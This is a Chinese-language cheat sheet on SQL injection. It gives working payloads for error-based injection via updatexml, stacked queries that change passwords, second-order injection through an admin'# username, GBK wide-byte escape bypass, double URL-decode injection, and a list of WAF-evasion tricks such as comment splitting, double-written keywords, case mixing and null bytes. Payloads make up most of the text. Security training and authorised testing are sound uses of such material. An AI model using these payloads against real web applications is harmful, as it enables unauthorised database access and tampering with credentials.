其他注入
一、更新注入
-
所有更新类操作,只返回布尔型结果,不会返回数据,所以无法像select一样进行多样化处理,所以更新类操作的核心就是构建报错注入的payload
insert into user(username, password, role) vlues('wowo' or updatexml(1, concat(0x7e,database(), 0x7e),1) or '', '1243','user') # update、delete语句同理
二、堆叠注入
-
通过再语句中加分号的方式一次性执行多条语句
select * from user where userid=1; update user set password='1234' where userid=1
三、二次注入
-
先完成注册,页面使用addslashes的情况下,注册一个
admin'#
的用户 -
修改
admin'#
的密码,就会把admin
的密码改掉$sql = "UPDATE user set password='$password' where username='$username'" // 其中$username为admin'#
四、宽字节注入
- 通常在GBK等宽字节编码时使用
-
当输入1'时,再addslashes函数的保护下,单引号会被加反斜杠转义:
select *from article where articleid='1\'';
-
当输入1%bf'时,再GBK等宽字符集的环境下,%bf和转义符(反斜杠)的
%5c
形成新的字符,注入时的sql语句:select *from article where articleid='1%bf\' and 1=1%23';
- %bf与转义符组合形成了%bd%5c形成新字符,从而吃掉这个转义符号,导致单引号别,从而形成注入
五、URL解码注入
- 只要字符被转换理论上就有注入的可能,现在对sql注入的防御主要是对单类单引号,双引号,反斜杠进行转义
- 如果某个地方使用了urldecode或者rawurldecode函数的话,就会导致二次解码生成单引号引发注入
- 原理时当提交web参数时,web服务器就会自动对url编码进行一次解码,假设目标有了过滤,但提交id=1%2527的时候,没有带单引号(单引号url编码为%27),这是服务器会自动解码,先解%25,而%25就是
%
,就能刚好和剩下的27组合成%27,如果程序里还有urldecode这样的解码函数时,就会二次解码,将%27解码为单引号,就会形成id=1'从而引发注入
六、绕过
-
绕过空格
可以通过圆括号绕过 /**/、%20、%a0、%0a、%0d、%0b、%09、%0c
- 用||代替or , 用&&代替and
- 所有的确定字符串,都可以使用hex函数来处理成16进制,避免引号转义
-
双写绕过
select、and、or 等被过滤的话可以这么构造: selselectect、anandd,这样即便过滤了剩余字符串也能拼接成正常语句
-
大小写绕过
sql对关键字大小写不敏感 AnD、SelEcT、Or,可以绕过简单的过滤手段
-
普通注释绕过
un/**/ion——>union se/**/lect ——>select
-
内联注释
在/*后加惊叹号 ! 意为/* */里的语句将被执行,仅适用于MySQL数据库 /*!union*/ sel/**/ect 1,2,3
-
00截断
sel%00ect 可以绕过简单的WAF,但mysql中不会截断,可以正常执行
-
%
sele%ct 如果是iis+asp,百分号会被忽略